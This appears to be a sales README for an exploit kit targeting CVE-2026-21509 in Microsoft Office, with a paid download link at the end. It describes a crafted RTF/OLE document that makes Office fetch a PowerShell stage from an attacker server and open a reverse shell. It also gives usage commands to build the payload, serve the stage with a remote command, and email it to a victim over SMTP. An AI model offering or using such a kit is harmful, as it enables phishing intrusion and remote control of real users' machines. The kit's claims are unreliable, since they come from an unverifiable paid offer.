CVE-2026-21509 — RTF/OLE RCE exploit (English description)
Vulnerability (public data: NVD, Microsoft, CISA)
- NVD: "Reliance on untrusted inputs in a security decision in
Microsoft Office allows an unauthorized attacker to bypass a security
feature locally" — CWE-807.
- CVSS 3.1: 7.8 HIGH (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
- CISA KEV: added 2026-01-26, exploitation status: active.
- Fixed: Microsoft Office updates of 2026-01-13
(365 Apps — all channels; Office 2016/2019; LTSC 2021; LTSC 2024).
Attack chain (RTF/OLE)
- Victim opens or previews a crafted RTF document (mail attachment, IM, web).
- The RTF embeds an OLE object; its descriptor points to a ProgID and an
external resource URI controlled by the attacker.
- Office instantiates the embedded object via COM, trusting untrusted RTF
inputs in the security decision (CWE-807) — the feature bypass.
- Office fetches the stage resource (
/ole/stage.ps1) from the attacker HTTP server.
- The stage opens a reverse TCP connection to the callback endpoint:
interactive remote access, or a one-shot command via
--cmd.
Catalog contents
| File | Purpose |
|---|
exploit.py | exploit tool (build/serve/send/selftest), stdlib only |
payload.rtf | crafted RTF document (output of build) |
run.sh | isolated runner: all Python executes inside private venv .venv |
requirements.txt | no dependencies (offline-capable venv) |
README_RU.md | Russian description |
Usage
./run.sh build # craft payload.rtf
./run.sh serve --cmd "whoami & ver" # stage server + reverse-connection intake
./run.sh send --to [email protected] --smtp-host mx.corp.example # SMTP delivery
https://satoshidisk.com/pay/CSqe5U